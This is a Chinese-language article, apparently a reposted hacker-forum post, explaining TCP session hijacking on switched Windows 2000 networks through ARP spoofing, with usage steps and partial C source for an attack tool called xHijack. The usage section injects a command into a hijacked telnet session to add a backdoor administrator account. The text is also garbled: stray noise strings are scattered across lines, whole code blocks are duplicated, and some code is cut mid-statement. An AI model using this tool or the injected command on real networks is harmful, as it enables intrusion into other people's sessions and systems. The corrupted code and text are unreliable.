再谈交换环境下的会话劫持(For windows2000)

韩冰

第一步是开启IP Routing的功能，修改注册表
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\IPEnableRouter为0x1，重启系统即可。
第二步是ARP欺骗，具体原理我就不说了。
3 {3 V! y. }. f6 W. Z" h第三步就是开始劫持啦。

我写了个程序xHijack可以实现第二、三步功能，使用如下:

7 a: v+ `- V5 ?( w) S( G  y& J. OUsage: xHijack ServerSide ClientSide

下面根据三种不同的情况分别说明如何输入参数：
5 K0 V0 m* T% C( N% z7 ^<1>服务器、客户端、劫持者处于同一局域网，接在同一交换机上（或交换机级连？）。
假如服务器的IP是192.168.0.2，客户端的IP是192.168.0.3，提供如下参数给xHijack即可
1 S0 q2 W$ I" Z9 ~c:\>xHijack 192.168.0.2 192.168.0.3
劫持前数据流程：server <--> client
劫持后数据流程：server <--> hijacker <--> client
6 t) M- q# I8 Z- _/ ]
, U, v  x  H1 Z1 ^<2>服务器、劫持者处于同一局域网，客户端处于别的网络。
8 l6 r5 Z0 B* o6 t# {' p* d% X& z假如服务器IP是202.202.202.2，服务器的网关是202.202.202.1，提供如下参数
xHijack 202.202.202.2 202.202.202.1
劫持前数据流程：server <--> gw <--> routes <--> client
5 ~& P! ~8 a* V  C" d7 l劫持后数据流程：server <--> hijacker <--> gw <--> routes <--> client
3 k4 H3 k# g3 F
<3>客户端、劫持者处于同一局域网，服务器处于别的网络。
' W: s; p3 }1 q5 X- L1 v4 u假如客户端的IP是192.168.0.2，网关是192.168.0.1，提供如下参数
" q- k, d( g* h- m8 l2 Z- CxHijack 192.168.0.1 192.168.0.2
劫持前数据流程：client <--> gw <--> routes <--> server
' p: X0 R- s$ o4 J& ~! C7 z劫持后数据流程：client <--> hijacker <--> gw <--> routes <--> server

+ @) A' X0 [8 B: R* v/ N输入两个参数后，会提示你选择网卡，然后会提示
l        <-- List all connections
; o; y! x6 h# _% d0 Z4 br x       <-- Reset the number x connection
w x       <-- Watch the number x connection
h x command   <-- Hijack the number x connection to execute command
+ r( H/ x9 U& ^
" \9 ]  q6 S+ C  D+ Plist、reset、watch命令我就不解释了。
7 ^% S# D2 [# X* d假如现在有如下连接
' n. `) g4 C5 C1 S* H+ ?(1) 202.202.202.202:23 <--> 192.168.0.3:2345
我们想要劫持这个连接运行我们的命令，输入
xHijack>h 1 "&net user ey4s hijack /add & net localgroup administrators ey4s /add"
" X, z4 ?5 S* d为什么命令前面要加&呢？假如客户刚发送一个字符p过去，我们不加&的话，服务器端接受到的就是
pnet user.....了，加了&后就成为p&net user.....，这样就不管前面客户输入了什么，我们的命令
都能够运行了。以上都假设服务器是windows 2000，unix下加什么字符，我不知道，我是unix白痴，呵呵。
# X- R) u4 i: [& X4 c. ^
+ r- X2 H' M3 h2 k* E# V劫持的流程如下：
<1>伪装成Server给Client发一个rst包
<2>伪装成Client给Server发了一个数据包
<3>Server回一个ACK包给client
<4>因为Cleint的连接已经给我们reset掉了，所以client回一个rst包给server
0 d" M! K& S+ w1 L9 o9 Z) S
8 W5 j  E) r; C0 |& v0 o9 s这样的话，我们只能发一个伪造的包，但我想已经足够了。
想要一直劫持那个连接也可以，如下
6 d1 Q. N( s) c& J<1>伪装成Server给Client发一个rst包
<2>欺骗Client，告诉它Server的MAC地址AAAAAAAAAAAA
<3>伪装成Client给Server发了一个数据包
<4>Server回一个ACK包给client
<5>Client回一个rst包给Server，但Server收不到，因为Client发到AAAAAAAAAAAA了，呵呵。
/ U1 z4 n, a/ g% w<6>然后Server发给Client的包都由我们来处理，包括给Server回ACK包等等。
6 r6 o0 ?) F* F7 Q* N2 z* P2 N& |
3 `0 X, p7 [8 V; L% d不过这样比较危险，在我们劫持的过程中，Client与Server的通讯始终是断开的。

5 \4 O, N( I; T7 j% m
* Y/ o/ k1 t- Y5 b" t8 ]3 x3 Y  x! S刚开始看TCP/IP协议，调程序调得头昏脑涨，说明也写的乱七八糟，呵呵，程序代码也可能存在很多问题，
还请各位多多指点。
( U& Z+ h0 x+ h/ I* n$ P9 N
+ M8 {, k7 A0 ~+ qBTW:我没有空间，编译好的程序没地方放：（



参考资料
<>交换环境下的会话劫持http://www.xfocus.net/article_view.php?id=375
<>交换网络中的嗅探和ARP欺骗http://www.xfocus.net/article_view.php?id=377


以下是程序代码
& L7 m0 d9 c, `; s5 u----------------------------------------------------------------------
/*-----------------------------------------------------------------------------
File      : xHijack.c
  D. @! B  v5 u; Y2 s9 B: j0 ]Version      : 1.0
% F) Q$ d+ d1 W2 ACreate at    : 2002/8/12
Last modifed at  : 2002/8/19
# v' e/ M! @' G9 y0 y; u( y0 L5 Y* a0 kAuthor      : eyas
Email      : ey4s@21cn.com
HomePage    : www.ey4s.org
感谢refdom和shotgun发布的源代码，使我获益非浅。
If you modify the code, or add more functions, please email me a copy.
: G, _- k( m: ^, F9 U$ H6 v
1 }9 F5 [* i* l9 @) k% Z- b- n备注:
<>没有考虑IP头、TCP头超过20字节的情况
<>没有考虑数据包分片的情况
/ Q: Y1 H' V! H$ b2 Y9 S<>没有对截取到的TCP数据进行解码，如TELNET，虽然是明文传输，但是TCP数据里面包含了
9 H2 o6 Q! F" ^$ @4 n. W显示格式、位置等信息，直接打印出来，显得很凌乱。但如果是IRC、SMTP、POP3等就没问
题了。

也许下一版本会修正这些问题，也许不会有下一版本了。

-----------------------------------------------------------------------------*/
, g$ |" P  c) P3 x  q0 H7 g#include
#include
#include
#include
#include
#include
#include

#pragma comment (lib, "packet")
- F! f' x! J  j#pragma comment (lib, "iphlpapi")
#pragma comment (lib, "ws2_32")
" l6 z0 R' |1 Y3 b
: P- q) K% y, c3 O; w6 |# g#define Max_Num_Adapter 10
7 @7 {- y- k; t9 {#define Max_Num_IPAddr  5
  t' f' W! k* Z9 e; R- B+ y+ }#define EPT_IP      0x0800      /* type: IP  */
#define ARP_HARDWARE  0x0001      /* Dummy type for 802.3 frames */
% O1 z& S* W/ b, u! f, q& O#define EPT_ARP      0x0806      /* type: ARP */
/ i/ z7 Y9 x1 _9 m& N# ~/ O
* s$ Z) _- @) X4 N#define  ACTION_NONE    0
  q9 N. J% }' e: d: T( |2 L#define  ACTION_WATCH  1
#define  ACTION_RESET  2
#define ACTION_HIJACK  3
) U6 p3 A/ p/ ~9 G
/*以1字节对齐*/
#pragma pack(1)
* X  d! ?: b# h2 }! I$ _typedef struct _ehhdr
+ K* ~2 A0 c1 I* x$ \{
  unsigned char  DestMAC[6];
  unsigned char  SourceMAC[6];
  unsigned short  EthernetType;
}EHHDR, *PEHHDR;

& Q" e) e/ e% M" C5 m" Ntypedef struct _iphdr        //定义IP首部
{
  unsigned char h_verlen;      //4位首部长度,4位IP版本号
  unsigned char tos;        //8位服务类型TOS
& A5 H5 J+ ^6 I4 `( E  unsigned short total_len;    //16位总长度（字节）
6 ~6 G5 v6 {4 G: r$ `  b  unsigned short ident;      //16位标识
  unsigned short frag_and_flags;  //3位标志位
  unsigned char ttl;        //8位生存时间 TTL
  unsigned char proto;      //8位协议 (TCP, UDP 或其他)
6 B8 j2 `$ U! n  unsigned short checksum;    //16位IP首部校验和
  unsigned int sourceIP;      //32位源IP地址
  unsigned int destIP;      //32位目的IP地址
}IPHDR, *PIPHDR;

+ I# j5 H9 v$ r4 u! X5 ]typedef struct _tcphdr        //定义TCP首部
" u! G% E' C, C  Y8 a: h{
4 l4 E# _5 i) N9 F  USHORT th_sport;        //16位源端口
  USHORT th_dport;        //16位目的端口
" @4 ^- s. `$ x$ H  unsigned int th_seq;      //32位序列号
  unsigned int th_ack;      //32位确认号
  unsigned char th_lenres;    //4位首部长度/6位保留字
. S1 X4 C$ @* @$ u+ ]; O  unsigned char th_flag;      //6位标志位
  USHORT th_win;          //16位窗口大小
  USHORT th_sum;          //16位校验和
3 H" M% s1 T) P( k5 j: I  USHORT th_urp;          //16位紧急数据偏移量
}TCPHDR, *PTCPHDR;

typedef struct _psdhdr        //定义TCP pseudo header
' D4 b& x" K* c, ^- @  N2 I{               
  unsigned long saddr;
  unsigned long daddr;
8 [; S- d+ _3 ]- T8 Q! q8 F0 x: b  char mbz;
  char ptcl;
  unsigned short tcpl;
}PSDHDR, *PPSDHDR;

typedef struct _arphdr
  @- P: S" }/ k7 p" I{
. C2 Y7 N$ p& }* e0 g  unsigned short  HrdType;//硬件类型
  unsigned short  ProType;//协议类型
, l  T* w1 G9 U" y+ }% i6 u  unsigned char  HrdAddrlen;//硬件地址长度
  unsigned char  ProAddrLen;//协议地址长度
7 y4 Y( L9 G  C  unsigned short  op;//operation
4 e+ m8 F  L5 |  unsigned char  SourceMAC[6];/* sender hardware address */
, Y$ n) |2 i. ]# U$ W: g3 z  unsigned long  SourceIP;/* sender protocol address */
* ^: _3 c1 L1 W8 @( [/ d  unsigned char  DestMAC[6];/* target hardware address */
  unsigned long  DestIP;/* target protocol address */
0 p% `+ p8 t4 h: M# Z}ARPHDR, *PARPHDR;
8 D% W9 b0 b3 X0 k
# D- t  i) y* Rtypedef struct _ArpPacket
' B1 H8 X, [5 U! x  D; \{
  EHHDR  ehhdr;
  ARPHDR  arphdr;
+ f# M! H4 w/ |" B$ ?+ T4 ~6 k  f+ v}ARPPACKET, *PARPPACKET;
; U4 S; Z/ y" o) A, I* ^
% r- h2 O. j6 j% dtypedef struct _tcppacket
{
  EHHDR  ehhdr;
  IPHDR  iphdr;
  TCPHDR  tcphdr;
}TCPPACKET, *PTCPPACKET;

typedef struct _conninfo
{
  DWORD  dwServerIP;
  USHORT  uServerPort;
  DWORD  dwClientIP;
. E- a3 Y0 Y) N2 A+ V1 D: X2 A# q  USHORT  uClientPort;
  DWORD  ident;//标识
, O% U$ f: w# ^) w* I$ U/ B  BOOL  bActive;
  struct  _conninfo  *Next;
}CONNINFO, *PCONNINFO;

+ G% O/ t) X) Z1 U+ j" k8 q3 d* f( F//定义全局变量

韩冰

unsigned int  g_ServerSideIP,
        g_ClientSideIP,
! A) N. Y$ r6 p. g$ R4 K        g_OwnIP[Max_Num_IPAddr],//本机IP地址列表
/ h, s' h* Y9 Q$ k: r- Z; B; p        g_TotalIP = 0;//
unsigned char  g_szOwnMAC[6];//本机MAC地址
unsigned char  g_szClientSideMAC[6];
unsigned char  g_szServerSideMAC[6];
char      g_szTcpFlag[6] = {'F','S','R','P','A','U'};//TCP标志位
LPADAPTER    g_lpAdapter;
; x) S4 t% R/ T//1 and 2 is arp spoof thread, 3 is recv packets thread, 4 is interface thread
; d, d7 P$ Z  a# D/ S+ g# Y  @3 s5 SHANDLE      g_hThread[4];
' U) `! X6 o3 Y; gchar      g_szCommand[128];//command to execute after hijack
DWORD      g_dwAction;//action type
- Z8 X1 v; G  ?( jDWORD      g_dwCtrlConn;//action 所控制连接的标识
DWORD      g_ident;//节点标识，递增
, D) H3 d5 L! w$ C0 U* U* v2 \/ }PCONNINFO    g_pCurrCtrlConn = NULL,//action当前所控制的连接的信息结构指针
        g_pConnHead = NULL,
; f2 W; j# m6 p+ I        g_pConnLast = NULL;
char      g_szSendPacketBuf[1514];
LPPACKET    g_lpSendPacket;
6 v1 @1 B3 d: T9 d//函数
void      usage(void);
- |1 S9 a' ~9 m% F/ n3 ]1 }void      ShowPacketMoreInfo(PTCPPACKET, USHORT, BOOL);
void      ListAllConnection();//列出当前所有的连接
void      ResetActionAllFlag();
* C' Q4 J6 e4 n% X+ Q1 e3 J9 d' tUSHORT      checksum(USHORT *, int);
BOOL      GetMACAddr(DWORD DestIP, char *pMAC);//取得目标IP的MAC地址
$ Q. }0 R5 `/ i8 h  n7 W& t6 ?BOOL      IsACKPacket(unsigned char);//判断是不是一个纯ack包
LPADAPTER    InitAdapter();//初始化一些参数和全局变量
  n- h6 L; V, s! O" O" yBOOL      SendRstPacket(unsigned int, unsigned int);//伪装成server给cilent发送rst包
7 k/ V9 ^& o5 Q; ~" fBOOL      SendHiJackPacket(PTCPPACKET);//伪装成client给server发送我们的包
8 N) H$ O" f' M8 G  m  |DWORD      GetConnNum(char *, DWORD, DWORD *);
- a8 S1 w, l0 R6 c) j6 KDWORD      CtrlConnInfoLink(DWORD, USHORT, DWORD, USHORT, BOOL, BOOL);
* o* ^6 s# b" H$ T0 Y" HDWORD  WINAPI  ArpSpoofThread(LPVOID);//进行arp欺骗的函数
DWORD  WINAPI  AnalysePacketsThread(LPVOID);//分析处理接收到的包
DWORD  WINAPI  InterfaceThread(LPVOID);//
BOOL  WINAPI  CtrlEvent(DWORD);

3 \1 {! c0 j! V  Q* y

. k/ U+ _6 w, g- q- Q1 y( Jint main(int argc, char **argv)
' h* F, M. @" x& \' z- @; B- s( f{
8 P5 t. ^. A9 z  struct    bpf_stat stat;
+ S1 a  Z) ?) B+ R4 l/ M6 C) r  int      i;

/ M1 i9 l; _7 M; y1 y' |2 v  usage();
( }1 ~& F$ ]# l  if (argc != 3) return 0;
, r# I: D' j; x; m2 ]5 B+ Z  //取得参数
  g_ServerSideIP = inet_addr(argv[1]);
  g_ClientSideIP = inet_addr(argv[2]);
  //初始化adapter & 一些全局变量
  g_lpAdapter = InitAdapter();
  if(!g_lpAdapter) return 0;
0 N4 G  ?9 k. ^( c6 Y  //get ServerSide MAC & ClientSide MAC
2 j8 ]3 l) {$ V6 l9 |- B  if(!GetMACAddr(g_ServerSideIP, g_szServerSideMAC)) return 0;
0 h6 j6 i5 [# b/ Y6 h' X  if(!GetMACAddr(g_ClientSideIP, g_szClientSideMAC)) return 0;
- }5 \  T0 s& w' z9 g7 t' b" n  //create arp spoof thread     
% b' a" e  l* `: o7 T2 E/ d# b  i = 1;
8 @. b$ a- S# i' y9 H4 L  g_hThread[0] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0);
  Sleep(500);
! `5 }: B, B. W" b) H  i = 2;
* _3 c  t' {4 E0 U$ {) \  g_hThread[1] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0);
- {/ J; F1 G5 p; U' R1 A  //create analyse packet thread
9 ~# t) ~9 L5 V: b, \7 Q  g_hThread[2] = CreateThread(0, 0, AnalysePacketsThread, NULL, 0, 0);
. M5 N3 L0 k( [0 v( B+ M9 c  S1 M( B* o  //create interface thread
4 D+ b4 Y- Y0 x9 ~" M) k  g_hThread[3] = CreateThread(0, 0, InterfaceThread, NULL, 0, 0);
  //set console ctrl handle
. b: B9 J8 o4 R  if(!SetConsoleCtrlHandler(CtrlEvent, TRUE))
) |/ g4 @5 Z' x2 e% X! o  {
    printf("SetConsoleCtrlHandler error:%d\n", GetLastError());
5 h4 l; x$ a/ P    return 0;
  }
; k* `# ?( e0 W) \4 u: f# B  //wait for any thread exit
2 m8 W1 U4 Q3 w" Z  u& x  WaitForMultipleObjects(4, g_hThread, FALSE, INFINITE);
  //print the capture statistics
  if(PacketGetStats(g_lpAdapter, &stat) == FALSE)
    printf("Warning: unable to get stats from the kernel!\n");
  else
    printf("\n\n%d packets received.\n%d Packets lost\n",stat.bs_recv,stat.bs_drop);
  //free resource   
( V+ w9 j7 b' Y# x! h( H  PacketFreePacket(g_lpSendPacket);
3 e- C$ Y$ x6 v$ E% g' |! a  PacketCloseAdapter(g_lpAdapter);
) q5 [& L0 G& }  D$ S0 S: D  return 0;
7 M' W9 K4 B( O+ l}
, N: @2 u6 r9 U& z; |0 N  |
2 |5 s) s# o" m/ [4 Z//
! \, o+ P: {1 L3 l* U% `8 e& @//功能：重置所有于ACTION有关的标志
! T* _6 n3 r7 E. B3 \# L9 X//

韩冰

unsigned int  g_ServerSideIP,
        g_ClientSideIP,
* s( {# H9 G& F- k8 i        g_OwnIP[Max_Num_IPAddr],//本机IP地址列表
        g_TotalIP = 0;//
2 V; L0 U& z0 z; K: yunsigned char  g_szOwnMAC[6];//本机MAC地址
- q4 k2 X# L4 [( r% }" c( S4 B$ m8 `8 Uunsigned char  g_szClientSideMAC[6];
8 f- o8 R: l3 z( m1 D$ T0 T, Wunsigned char  g_szServerSideMAC[6];
( S4 W" }9 J6 F, {6 {char      g_szTcpFlag[6] = {'F','S','R','P','A','U'};//TCP标志位
LPADAPTER    g_lpAdapter;
  L- Q) b' H5 e! n# e7 k9 |% O+ D//1 and 2 is arp spoof thread, 3 is recv packets thread, 4 is interface thread
9 i$ Q- g7 r- R6 l: KHANDLE      g_hThread[4];
char      g_szCommand[128];//command to execute after hijack
1 l- f9 ^6 J2 T  h4 [8 W; sDWORD      g_dwAction;//action type
3 ~) C1 v" Q: ?0 F+ DDWORD      g_dwCtrlConn;//action 所控制连接的标识
4 ]" d$ f5 }/ p7 h' fDWORD      g_ident;//节点标识，递增
, h6 H  H& z/ {& P8 A2 c3 [0 ePCONNINFO    g_pCurrCtrlConn = NULL,//action当前所控制的连接的信息结构指针
        g_pConnHead = NULL,
        g_pConnLast = NULL;
/ n# f  G& k; O0 @: rchar      g_szSendPacketBuf[1514];
4 o1 s, ?! n: W# e, h" BLPPACKET    g_lpSendPacket;
2 ~. ?3 B5 d; i2 L//函数
void      usage(void);
$ M; m* V- A# K; q% d: Uvoid      ShowPacketMoreInfo(PTCPPACKET, USHORT, BOOL);
" t' G( X* K0 V1 ]void      ListAllConnection();//列出当前所有的连接
void      ResetActionAllFlag();
: O- u+ h" D$ Z8 BUSHORT      checksum(USHORT *, int);
BOOL      GetMACAddr(DWORD DestIP, char *pMAC);//取得目标IP的MAC地址
7 n2 \: r* J' l6 M* N$ D  OBOOL      IsACKPacket(unsigned char);//判断是不是一个纯ack包
2 z# w0 d4 Z- R/ T0 uLPADAPTER    InitAdapter();//初始化一些参数和全局变量
* w7 K8 E' ?7 Q9 u+ Y; hBOOL      SendRstPacket(unsigned int, unsigned int);//伪装成server给cilent发送rst包
BOOL      SendHiJackPacket(PTCPPACKET);//伪装成client给server发送我们的包
, ~4 F' l+ L4 A6 G% P3 RDWORD      GetConnNum(char *, DWORD, DWORD *);
DWORD      CtrlConnInfoLink(DWORD, USHORT, DWORD, USHORT, BOOL, BOOL);
DWORD  WINAPI  ArpSpoofThread(LPVOID);//进行arp欺骗的函数
DWORD  WINAPI  AnalysePacketsThread(LPVOID);//分析处理接收到的包
DWORD  WINAPI  InterfaceThread(LPVOID);//
+ ]1 t4 `  x; C  I# w3 EBOOL  WINAPI  CtrlEvent(DWORD);


2 P4 S; d2 W% A% M6 I+ g- T+ R
int main(int argc, char **argv)
{
/ I7 a* C( S% ?' K, c  struct    bpf_stat stat;
. ~1 w; }- |) u  int      i;

  usage();
  if (argc != 3) return 0;
) i9 N+ d3 [: Y  //取得参数
2 T3 C" ~' `- `2 {  g_ServerSideIP = inet_addr(argv[1]);
$ q9 q- v" X- G  g_ClientSideIP = inet_addr(argv[2]);
  //初始化adapter & 一些全局变量
0 `1 v/ a% A: X3 o  [  g_lpAdapter = InitAdapter();
  if(!g_lpAdapter) return 0;
  //get ServerSide MAC & ClientSide MAC
2 X. a$ b! w0 ^4 U3 G  if(!GetMACAddr(g_ServerSideIP, g_szServerSideMAC)) return 0;
  if(!GetMACAddr(g_ClientSideIP, g_szClientSideMAC)) return 0;
" ~6 x) ?& j6 A" C; T  //create arp spoof thread     
" r7 D& a- O5 l+ C& Y  i = 1;
  g_hThread[0] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0);
  Sleep(500);
9 @  q: a7 k! a2 i. i  i = 2;
  g_hThread[1] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0);
! z: W6 [: ?% X5 Z8 s, |& L  //create analyse packet thread
  g_hThread[2] = CreateThread(0, 0, AnalysePacketsThread, NULL, 0, 0);
* n& |- S* f: C, u. }  //create interface thread
8 W3 q2 y# T* Y5 z  g_hThread[3] = CreateThread(0, 0, InterfaceThread, NULL, 0, 0);
& S1 T4 U& r- ]  //set console ctrl handle
  if(!SetConsoleCtrlHandler(CtrlEvent, TRUE))
; [" u, D4 \9 D2 ?* A5 I, y2 g) ~  {
! j" L0 y3 n* y5 z1 q  z) q( P    printf("SetConsoleCtrlHandler error:%d\n", GetLastError());
    return 0;
! z4 `' L; N- s$ a% m$ w; G5 h' a  }
8 F- l* s( \1 X2 J2 @  //wait for any thread exit
  WaitForMultipleObjects(4, g_hThread, FALSE, INFINITE);
+ X, r# ]8 o! O  //print the capture statistics
5 K2 t2 O! j" I) ?& X  if(PacketGetStats(g_lpAdapter, &stat) == FALSE)
    printf("Warning: unable to get stats from the kernel!\n");
' C9 y  `2 A1 V  m  \  else
" d6 \$ S" \7 Z* o    printf("\n\n%d packets received.\n%d Packets lost\n",stat.bs_recv,stat.bs_drop);
& ~1 X3 Q* h$ H/ _" }/ K  //free resource   
  PacketFreePacket(g_lpSendPacket);
. M( q$ t# z* S, ~. X. l  PacketCloseAdapter(g_lpAdapter);
  return 0;
}

//
//功能：重置所有于ACTION有关的标志
8 c! q3 h+ Y- [- ?/ J+ X7 g. {+ ~//

韩冰

void ResetActionAllFlag()
# O4 J1 p  p, \9 H* x{
, P& ]' g9 P8 Z7 U. @  g_dwCtrlConn = 0;
  g_pCurrCtrlConn = NULL;
) o, j* y1 y/ s5 x! G# ]7 X  g_dwAction = ACTION_NONE;
}
# Y% C/ i  }3 d/ S- f/ O
//
0 I3 e9 Q! D$ }- r$ I3 d//功能：处理Ctrl+C和Ctrl+Break事件
//
BOOL WINAPI CtrlEvent(DWORD dwCtrlType)
{
- D3 ^4 ]& Q$ p" R' k  switch(dwCtrlType)
  {
    case CTRL_BREAK_EVENT:
3 G# P  j0 M2 Z/ X) S6 g9 @% Q      //reset action all flag
  ^) D5 j4 h: b" u      ResetActionAllFlag();
# l6 @0 |% h. |1 M0 d) S! J/ P( W      break;
% X# D* t. L* P* `: u4 l    case CTRL_C_EVENT:
- Z' S9 m6 [7 P9 v      //terminate all thread
% K+ q. M8 Z: w" @/ G      TerminateThread(g_hThread[0], 0);
      TerminateThread(g_hThread[1], 0);
# y: D$ [7 d- J      TerminateThread(g_hThread[2], 0);
      TerminateThread(g_hThread[3], 0);
7 s* D5 j/ Z+ o. K1 }* D6 C6 P% x4 Y      break;
. s- E( i3 m) d! O- S# b- ]    default:
      break;
4 \3 [2 _  ?# h& h2 b; f  }
( T  W* `. Q  G/ e; w  return TRUE;
$ m/ ~6 x) ~. h: }! q}

7 d( p+ f0 Y( d* }- `//
//功能：处理用户输入
8 w% C+ y  p' ^//
0 V* |, {5 W, d* ?" FDWORD GetConnNum(char *szStr, DWORD dwLen, DWORD *lpCommandPos)
5 x: N9 ?$ y' J{
6 z7 A0 T, Z* p, q0 o  DWORD  i;
  char  szBuff[16];
4 h( ^- ^" g, W0 w4 V# H& k: A
  *lpCommandPos = 0;
  for(i=0; i<15, i代码比较乱
//
DWORD WINAPI InterfaceThread(LPVOID lp)
1 F/ N% E% I5 i- c# }{
8 q: a9 D+ M2 M- ~2 |# s) h# U  char  szHelp[] =  "l\t\t<-- List all connections\n"
. K# j! C+ l% C1 |8 X6 k( B            "r x\t\t<-- Reset the number x connection\n"
, M; b& a' h& b- C- ]            "w x\t\t<-- Watch the number x connection\n"
            "h x command\t<-- Hijack the number x connection to execute command\n"
/ d  J1 B5 M  s5 ]/ ]- k3 ~            "[Note]\n"
: G/ b! |. Z/ }            "Ctrl+Break to clear all action\n"
            "Ctrl+C to exit\n";
  char  szPrompt[] = "\nxHijack>";
  char  szBuffer[128];
  DWORD  dwPos;
. L4 g8 K+ c" U  PCONNINFO  pTmp;
! h" X( b6 {4 i9 G
. v1 L/ g' c  ^/ T% M( B" c  while(1)
  |6 \1 i3 H8 J& B& C; b: {+ _  {
- O2 _2 L# V% ?; G& ~$ x  G    gets(szBuffer);//不考虑buffer overflow
    switch(szBuffer[0])
+ w, F0 b8 x- e  p) C' @. g* a3 L    {
6 o' T& k( s  `9 i! U4 D* a0 u      case 'l':
      case 'L':
$ e& L1 Z/ ?- O1 P8 W* g        ListAllConnection();
        break;
* i4 q3 J( Y; x- `* a: \+ Y. H3 E      case 'r':
      case 'R':
        if(strlen(szBuffer) >2)
        {
/ C  ~/ |4 |$ M. E          g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos);
          g_dwAction = ACTION_RESET;
* I# l: q* s  D" K" b6 b" P        }
        else printf("%s", szHelp);
        break;
- f; Q( `8 l, g3 p4 Z* ~7 @      case 'w':
  g- v" ^: J- F/ r' U" ^& P      case 'W':
        if(strlen(szBuffer) > 2)
        {
) l  g( B4 x' w5 f          g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos);
          g_dwAction = ACTION_WATCH;
        }
7 B/ M1 m- j+ p0 T( @0 X6 ]        else printf("%s", szHelp);
4 o) b1 j1 a- j1 g2 U( \7 j& C        break;
      case 'h':
1 b' e$ g, u" N# K6 a: }6 i      case 'H'://h 1 xxx
- ^5 S! E* [, h" K+ S5 J        if(strlen(szBuffer) > 5)
% b/ z6 t" [) \; r, [        {
2 L5 H* L9 `% K          g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos);
2 }7 u. f% `# p$ Y7 e- K          //如果command第一个字符是'或"
& s4 u3 a0 s2 f5 M) v- A          if( (szBuffer[2+dwPos+1] == '\'') || (szBuffer[2+dwPos+1] == '\"') )
          {
& d, a1 y' V5 Y$ c            strncpy(g_szCommand, &szBuffer[2+dwPos+1+1], sizeof(g_szCommand) - 3);
3 w4 Z# B/ v# {0 D            g_szCommand[strlen(g_szCommand) - 1] = 0x0;//去掉最后一个'或"
/ f0 O( ~% d9 R          }
! |1 p. h( v: M& \3 K" {8 @          else strncpy(g_szCommand, &szBuffer[2+dwPos+1], sizeof(g_szCommand) - 3);
          strcat(g_szCommand, "\x0D\x0A");
          g_dwAction = ACTION_HIJACK;
  t# R4 l4 r4 v$ N8 ]        }
- d) S, J% L# @0 C  a. i        else printf("%s", szHelp);
        break;
$ f1 _; B; n: b      default:
, x  a; A% {. ^' B* I        printf("%s", szHelp);
1 z5 f, M" b, n6 ?( a        break;
    }//end of switch
* e4 O. M) c% x3 r6 s" ]    //find the specify ident's struct point
9 m7 Y. j6 @' q' y; `: K6 I2 O    if( (g_dwCtrlConn) && (g_dwAction) )
. B* _* W4 V7 v: S    {
      g_pCurrCtrlConn = NULL;
      pTmp = g_pConnHead;
      while(pTmp)
      {
        if((pTmp->ident == g_dwCtrlConn) && (pTmp->bActive) )
        {
          g_pCurrCtrlConn = pTmp;
          break;
        }
        pTmp = pTmp->Next;
      }
      if(!g_pCurrCtrlConn)
      {
        printf("Can't find the number %d connection.\n", g_dwCtrlConn);
        //reset action all flag
1 _9 G7 R# Z8 J/ E& C* h' n" [# S6 I        ResetActionAllFlag();      
      }
    }
    if(!g_dwCtrlConn) ResetActionAllFlag();
    //显示当前用户所期望的动作
    printf("\nCurrentAction:");
    switch(g_dwAction)
) R4 P  _/ D5 Y; [; o& p    {
6 }8 U: d: h0 A! d      case ACTION_WATCH:
        printf("ACTION_WATCH");
        break;
      case ACTION_RESET:
7 X- }0 Q  d* G6 I& R0 \2 D' g- R6 c        printf("ACTION_RESET");
        break;
      case ACTION_HIJACK:
        printf("ACTION_HIJACK");
        break;
" l, v; C. a) B' p) ]2 t9 @      default:
        printf("ACTION_NONE");
# _, f% F8 L5 B* ]        break;
* X; x: M( ~0 p1 Z5 l( b    }
! p/ b2 _6 G* a3 |    printf("\tCurrentCtrlConn:%d%s", g_dwCtrlConn, szPrompt);
  }//enf of while
/ L+ _' S4 i( h( k5 e6 p8 A* A5 i  return 0;
}

韩冰

// , E- c1 L! ~+ p//功能：列出当前所有连接 # u3 P$ s* E" D6 Y2 Q// + I i0 c$ d1 w* O: Lvoid ListAllConnection() { ( f6 t: s$ l7 @' Z* Y8 E. R2 B PCONNINFO pTmp; SOCKADDR_IN saDest, saSource; 8 G) z9 m9 p% J1 U# x5 u- v pTmp = g_pConnHead; # Y# N3 I: H2 i5 ]0 ~8 r while(pTmp) { ' |, l# _% t8 V" `$ H if(pTmp->bActive) # O; m* A; m" W4 r: J2 v* ? { saSource.sin_addr.s_addr = pTmp->dwServerIP; $ z4 k: @( @, b saDest.sin_addr.s_addr = pTmp->dwClientIP; printf("(%d) %s:%d <--> ", pTmp->ident, inet_ntoa(saSource.sin_addr), ntohs(pTmp->uServerPort)); printf("%s:%d\n", inet_ntoa(saDest.sin_addr), ntohs(pTmp->uClientPort)); 8 X1 {5 p4 T2 @/ ` x) t. q } 9 h5 C, b' H, r pTmp = pTmp->Next; } 2 \9 v1 @4 l- I0 A7 L8 k) h1 [4 b} 1 A, l% o7 {& z7 r. M // 2 K$ L, h9 Y9 b5 k//功能：初始化一些数据，取得指定网卡的MAC地址和所有IP地址 // LPADAPTER InitAdapter() { LPADAPTER lpAdapter; static char AdapterList[Max_Num_Adapter][1024]; char szSelectAdapterName[512]; WCHAR AdapterName[2048]; : B# {9 {# p' E WCHAR *temp,*temp1; ( {' z/ L5 Z0 _, _- p0 p* c9 A ULONG AdapterLength = 1024; : A7 B% p' e1 p2 ?& o8 u int iAdapterNum = 0; int iRetCode, i; int iAdapter = 0; ' t4 L) v) ^1 q- e+ G# d* d ULONG ulLen = 0; # }3 b2 Q% D6 q% b DWORD dwRet; . v) d G( P' t% B. ]$ n0 { PIP_ADAPTER_INFO pAdapterInfo = NULL, pTmp; PIP_ADDR_STRING pIPAddr; //Get The list of Adapter if(PacketGetAdapterNames((char*)AdapterName, &AdapterLength) == FALSE) 8 I" K8 v2 t+ z4 c { printf("Unable to retrieve the list of the adapters!\n"); + B0 [$ j: A" O) K; v8 k return 0; } * m% ^4 x; o3 H* x, q temp = temp1 = AdapterName; % n3 i U+ q/ P1 X3 P$ L i = 0; y/ t3 P+ L" O+ L' a: ?& S while ((*temp != '\0')||(*(temp-1) != '\0')) * R: h8 S j2 n: v* f& w. z { 9 